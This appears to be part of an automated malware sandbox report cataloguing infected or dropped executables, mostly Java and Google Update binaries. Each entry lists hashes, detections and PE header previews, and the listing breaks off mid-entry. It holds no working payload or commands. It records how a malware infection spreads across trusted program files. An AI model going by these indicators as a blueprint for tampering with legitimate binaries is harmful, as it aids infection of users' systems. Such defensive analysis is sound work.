SHA-512:	D5CFB715027F359938C7AB777AB2A3EF41BEC36CF4AF8021332B349D07C6566CA8C1CA769B808252CAA33A7752D3DC1EA806183710A8D62AFDCF4FE1BE242F27
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`..............................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446079873034151
Encrypted:	false
SSDEEP:	12288:2nEbH0j4x7R6SvyCMPXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/nT:2kwOtO7PsqjnhMgeiCl7G0nehbGZpbD
MD5:	B67993E34F11133F7878DE841D83488D
SHA1:	670885B3205484632B16F098EB626EA22856A5FE
SHA-256:	1C2DA0484A91BD0506F7423559C1D37FC9326C76F183C9342A29E0B92CEB6941
SHA-512:	6ED68A03878719ECE37FC77F5A48DDB50DE641CF408CC446B9914C87C395C855D3D1A08FF20947A142E5C8DC960E554BE1F84ADA63C2BB0FAB4E07BE426C20A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................@.......E.......................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446836287935732
Encrypted:	false
SSDEEP:	24576:+nU/h/4K4sqjnhMgeiCl7G0nehbGZpbD:+U/VkDmg27RnWGj
MD5:	E8EC4D2A9C075AEBC6D14755C3E24786
SHA1:	627F5FCA9C291B29C1C4540CC793FF182475C842
SHA-256:	C2E03246B6B86978028D04D0233A0E333E9343F7DFDE9FE37863571F60C63F1C
SHA-512:	307E36F761A1ED49DCBBDEACA238EF64D933A96F44363B0B2EE88BF1A6189C142D3BCEB7D1BBEC2D9FC25328D1898E9E2E64F647FF7DE3C63B941634DBBCE1FC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................@......`........................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	5.48375723428586
Encrypted:	false
SSDEEP:	24576:qx71iBLZ05jNTmJWExDsqjnhMgeiCl7G0nehbGZpbD:qxhiHIjNgHDmg27RnWGj
MD5:	7C3244095778AC33F2176029B85B56D2
SHA1:	8A4E654AC5333EB5DBCAC0247E0F887A936F4BB0
SHA-256:	7CC0577797C0FEAE9E3D312A04B7EDF3B10CC4404979AF47FE1F6D23D23CE189
SHA-512:	8F8767462EA7995D9735151856996CB1B221F97119CDEB11FC8858556506CB34555A62A02B92133B13EDF268A8B3B173F92781DF5BF33C6B90B45AE17DF6135F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@.............................................................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc...p...0...`..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1419264
Entropy (8bit):	5.466733690556043
Encrypted:	false
SSDEEP:	24576:9lnRklQ6fgJcEwixJsqjnhMgeiCl7G0nehbGZpbD:xoRfgJcEwCNDmg27RnWGj
MD5:	90CFC8EE41F54881D1E7FAF7293F9FFC
SHA1:	E4775A881A01ED34FD8FBF3C181BE790639322E5
SHA-256:	40CA0A868A6BA5DF749E63A29D39C43BC741816250FC634C964907B780A87F06
SHA-512:	C4333007B39B38FE6A139D389F67628FDF1CCA6A9C4E045E706B505173C634F3819082A0565BBB3440A819BC901BB28E81286FC206F3F8BDFC97AE117124853A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@..................................h......................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...p.......`...H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1522176
Entropy (8bit):	5.496546902909799
Encrypted:	false
SSDEEP:	24576:VW25k8hb0Haw+x5sqjnhMgeiCl7G0nehbGZpbD:VWyk8SHawm9Dmg27RnWGj
MD5:	8C60FB5DC66CCE635B60AC783A3548F7
SHA1:	793B4109264D2EB4287411042926CD6EDAC6C301
SHA-256:	9956E14CE7FE037BAA534065FAADA476043811E423D55EC7FB2BF8E39C7D8F29
SHA-512:	2DA4AF2FAD4AEB1A42A24F03DD77345D5F65E5E405D0859CDFFF013F352F3BB61CDDD50DCAE73441C857EAE59DECA1AD2AE69090507A18D615A361DE6FCCBE48
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@....................................J..... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...`...`...P..................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	5.1639687597000465
Encrypted:	false
SSDEEP:	12288:pWP/aK2vB+WXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3b:pKCKABBsqjnhMgeiCl7G0nehbGZpbD
MD5:	4BF28DF7FCE57EF8E1C7E0A799600F17
SHA1:	93FC5D6B489CCE278BD29D5846901C2AC10CCD11
SHA-256:	E48216669A144CBFFB64DD7259A420CD73750D49EB1B2D6FEB9EE4DB254DCF46
SHA-512:	BECA291B5E43BFBE2D82D85D0B2133E0CEBD510E7C29958745A81C279B112A4865BC0961ECED82C0D585C6A3B5304EDCC1AF2106671F39BCF9FA70E9F1814DBE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@.................................0G......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...`.......P...@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1228288
Entropy (8bit):	5.162047335349573
Encrypted:	false
SSDEEP:	12288:UO7cCNWB+09IXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDtL:hjNWBPmsqjnhMgeiCl7G0nehbGZpbD
MD5:	FF6F45B2AA38C60923ED246D390FB730
SHA1:	18FE1DE178D7CAEC232113D058A255F813439500
SHA-256:	9B3F94D697571406029A20581D341370567342A07AC4B2B9F7406CC225EAA26A
SHA-512:	793E901CD8E8637E39EF39BFADAF331190ED8B85FD67E27AAC4FB9337A8829309ADB2A1EB0C6EB607C21977E9360AA53188802523B51282DDC076D65F8EAE0D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@.................................h........................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...`.......P...n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1302528
Entropy (8bit):	5.238939900445129
Encrypted:	false
SSDEEP:	24576:9ihRyhdsRrEsqjnhMgeiCl7G0nehbGZpbD:9ihsoRgDmg27RnWGj
MD5:	EF35580D4DDB60E9F39CB4B07294D552
SHA1:	AA4F369AB63EBBB1448B829CCA122B8CDBE6C5E7
SHA-256:	10EF5A60824A1C1EE5043F5AF65F6CD9479AE6E0B13C9D5F0BF06160FD503871
SHA-512:	13AD99309BB2A16F3A43184DA58DC9EEFCCAF77438D0617ACB1893306EE178CADF649CBD3A82707782834ED59A8182C2CEC17722FE0F5E1C965AA9D996DA18EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@.............................p............ ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...P... ...@..................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1342464
Entropy (8bit):	5.351018605211282
Encrypted:	false
SSDEEP:	24576:s1FDmRF+wpx/QafnsqjnhMgeiCl7G0nehbGZpbD:KmRF+wn/Jf7Dmg27RnWGj
MD5:	33C462812A8DCA0F7E481D691E6A30B7
SHA1:	7AD830A631722B7E2F1C240481A35639719B5BF5
SHA-256:	8CEDA8F27D7062A3CBABB189B2EF41D98DC482007506F75E9BB37D53AB7ACD91
SHA-512:	EC1A71EC61BDB3C55E9AF853DC39B1A86E7BCCEC3F20B261ED8D42DFC5F6A428FE350A3D855A94CA435FA584368060F6213F60B3FE5EE89402E528AD3CE5C376
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@.................................}................................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc...p...p...`..................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1228288
Entropy (8bit):	5.162004797095016
Encrypted:	false
SSDEEP:	12288:A2Ae621B+0YaXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDtL:NE21BP9sqjnhMgeiCl7G0nehbGZpbD
MD5:	47114312142F204AE5B8469EBFE48F30
SHA1:	BBCD989FF7552C9AF41FE7E8090444933542099C
SHA-256:	0D9CD5CAE560DB57AF5769D7B1978E208C902C5E74683701F38A54B3FD155675
SHA-512:	F3A3B1A73E344EA988F5F338EB9B405A1A4A99F1565D75EA655A27338C80A275C7C2C741653BE8C5E4AD8BF9436ECC982DAF9A1E0A1645E565D14CFDA33B0B34
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@.................................%........................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...`.......P...n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.987638126345098
Encrypted:	false
SSDEEP:	49152:/ZkVX3lfrFfR0BecCqKBs+4o8YhA+Dmg27RnWGj:/qR1frZRpcTKX4kD527BWG
MD5:	6619FE6A64336993A22D0ECA85CB45F0
SHA1:	629CA777271C72F0B8D3F08516E4B52771B770A1
SHA-256:	D889D5E135CD6F6AA5A733DC3E8EEE151655245A3F8DE372D2C15BA564A062B0
SHA-512:	452FDCCEE219D03A65784B4C73F6272D20D155667F55121FF45B25DDBD36C0E029284DD4F103AC6E7B30D72386B684A258D36FE172970ED894C8FC6DE5F6035B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!.......!... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.987637526577778
Encrypted:	false
SSDEEP:	49152:5ZkVX3lfrFfR0BecCqKBs+4o8YhA+Dmg27RnWGj:5qR1frZRpcTKX4kD527BWG
MD5:	D47D028032DDD4F003D4A6E81336479C
SHA1:	843A9A0779C6219816575876E16213DD993DB3B0
SHA-256:	087B4B8396A8B38B68A809763E508CA85546D9B0E241D98C4C1B3762F086B22E
SHA-512:	124BE638B02A4E4FCA08D61172A2E1F0AAD4721B0028AB5B11EF900DA7021DD6FBDD8264DBAAE57A743619CFFFF308383CFF34E6193DC4A1C7BD20DFE90942D6
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!......A!... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1158144
Entropy (8bit):	5.068088983231046
Encrypted:	false
SSDEEP:	12288:3BXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:3BsqjnhMgeiCl7G0nehbGZpbD
MD5:	D571E056F9F5A9F735873A764AF451D3
SHA1:	EA810A74DBBCDD2F2904DCF9AE51E1ECB8F40F85
SHA-256:	9F5FAC6666AFA05C999B47DDE8B1DC87631D19C8585790C7D300ADE2623AD55B
SHA-512:	F6C579F23E6D6E86D7DA11A0DEED0020EA501FFBB957FB05C24D080C175B16386A144C4861AADD4672F09E8B6D0F26F5CC51B293D0B83EAA63679C2542D1CAB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@.........................................................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...P.......@...l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.03242858683778
Encrypted:	false
SSDEEP:	12288:hK2Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:U2sqjnhMgeiCl7G0nehbGZpbD
MD5:	37A71D5C2F7B4BD596983EA780B7DB67
SHA1:	C2958767FCAB3186CC48D6685703EB9D10213843
SHA-256:	9116B29C9BCF16EBBEF3E74F2AA440C16EDB31E3496C04F96C0EB8916F973E83
SHA-512:	DE1C4AC706888495CB300FAA4DD76F8C9DEB2B633E7C42FAE422840AA09EA025B4805EEF6335BC2B6CA62AC455883E8026841CCD7B57AB297085F5279584E5F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................C........................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446081476954796
Encrypted:	false
SSDEEP:	12288:AnEbH0j4x7R6SvyCMPXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/nT:AkwOtO7PsqjnhMgeiCl7G0nehbGZpbD
MD5:	E12FABE0D60BF0A313E62B5196A0F16C
SHA1:	8F867E15EB4F83CA3CD98D161039A69387169761
SHA-256:	0972D3C331B553D5F16D844E13E395ACA080FA8171A51CB0F4F065BB7374F901
SHA-512:	725C195C4310B85A0BB4CB2D002677BD3238A4E6EB4BCBF3EE03FA476CC42AE07E8817B5EB7A7BD8EB9391D4E0BBE3619A11B616106287441BFA63BF8B52C7CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................@......z).......................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1212416
Entropy (8bit):	5.119746723452393
Encrypted:	false
SSDEEP:	12288:7v1vvSXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:71ysqjnhMgeiCl7G0nehbGZpbD
MD5:	4E22DD47350A9D7B6F8B2F74E79CEC5C
SHA1:	A7C3170575F2735A13B2A6357CC1A32FE839E6E8
SHA-256:	04100007EAA015E7FF6E417A98392D83999EC8607AAE2CDE2B98B9D63FC397FC
SHA-512:	4CEF5220E62D7FA0548726574A4B11980A04CF103380BFD16019455AD1C9E8172480BB5BB5DD0C039EDB3DB396119EFD032326DDFF20C9AFEE7815822EA5892F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@..................................l......................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...P...p...@...@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446838504983021
Encrypted:	false
SSDEEP:	24576:snU/h/4K4sqjnhMgeiCl7G0nehbGZpbD:sU/VkDmg27RnWGj
MD5:	8CD97C00F3234B12C83A095C155CD033
SHA1:	4D8E3834488BB0536CC28F7EE4C6520C2C0837C4
SHA-256:	C1E58D542671F24CD9FCA6FD7C1846837FD11B9B613F79CB92570D58893BC987
SHA-512:	38153CF7ED94B3A7385705F775069BCE4B24763E4BC1FB72F4AD485CA8BED3142D4D963F426BD35DC0F479D68BD7FC2667932CA7045653368A41CEEBCC3C4F1C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................@...............................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	5.483752418411204
Encrypted:	false
SSDEEP:	24576:ux71iBLZ05jNTmJWExDsqjnhMgeiCl7G0nehbGZpbD:uxhiHIjNgHDmg27RnWGj
MD5:	65EDFAD5C93E7110D6B833389A2C6DCC
SHA1:	1500CCAA66CB8001BAD6833FB2A46C1818D30779
SHA-256:	818D3FFDBFF8719F69B291ECD81E4D96C218D7E1D8725606C4E50EEBD5B107C6
SHA-512:	5D1FB886F902EC511170E2D19DC063C905BB7B953B756DD7EF7D98BF7A753CD9576CA43BA09B27ADF03B6F3AFAF783120870F61EDE0520BE33531E0971BDC6B6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@.............................................................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc...p...0...`..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032909680695335
Encrypted:	false
SSDEEP:	12288:q3rGXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:iysqjnhMgeiCl7G0nehbGZpbD
MD5:	E7A4ABEE6FD713D9DF65C1E2E399DD2B
SHA1:	587D1D2A137BD0B33BFFD48DCFD6E294663F8468
SHA-256:	0E56BB7B5064176C6346D4ED8C054351006F8B6764A45D55FE77306993A60FD5
SHA-512:	4964EA2AE60A18EDF372A501AC5212E839FA4B81D53B8E8EAF2516E794132AA08E26ADD1ECCA1FA202DEF45DC5B64B94905C85CA45F03CF017D6202D575334AA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................w........................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1242112
Entropy (8bit):	5.172697908651523
Encrypted:	false
